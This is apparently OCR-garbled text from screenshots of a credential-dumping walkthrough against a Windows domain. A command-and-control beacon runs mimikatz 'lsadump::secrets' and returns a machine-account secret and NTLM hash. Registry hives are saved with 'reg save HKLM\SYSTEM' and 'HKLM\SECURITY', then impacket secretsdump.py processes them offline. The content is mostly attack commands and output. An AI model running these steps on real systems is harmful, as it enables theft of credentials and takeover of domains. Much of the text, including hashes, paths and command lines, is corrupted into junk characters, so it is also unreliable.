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eacon> mimikatz lsadump::secrets
ed beacon to run mimikatz's Llsadump::secrets command
[+] host called home, sent: 750706 bytes
[+] received output
Domain : WEBOZ2
SysKey : 2d15a30f34e39e7 f737cfe2dc9ez
Local name : WEBO2 ( S-1-5-21-
Domain name : WHITE-BIRD (
Domain FQDN : white-bird.local

Secret : $MACHINE.ACC
curftext: Almy%:dR/?5'&+EQ71]1.°SI:a8> IuC CK9s " 1F; 8 QBvF6 BOM =Ar&J7jlm!=(4]/
NTLM: a076¢T1lceef50adochb7ec669
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Secret : DefaultPassword

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
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LSA [HKBYJEOCAL_MACHINE\SECURITY\Policy\Secrets [TTITTTIT]
C:\Windows\System32\Config\SECURITY[]

[T HiAKLM\SECURITY [TTTTTTTTIITITTINTLM [TTTTTTIT]

reg save HKLM\SYSTEM C: \Windows\Tasks\SYSTEM
reg save HKLM\SECURITY C: \Windows\Tasks\SECURITY

~/Desktop/impacket/examples
1ains secretsdump.py ty /root/Desktop/Securi t /root/Desktop/system LOCAL
1 i f

WHITE-BIRD.
[*] Dumping
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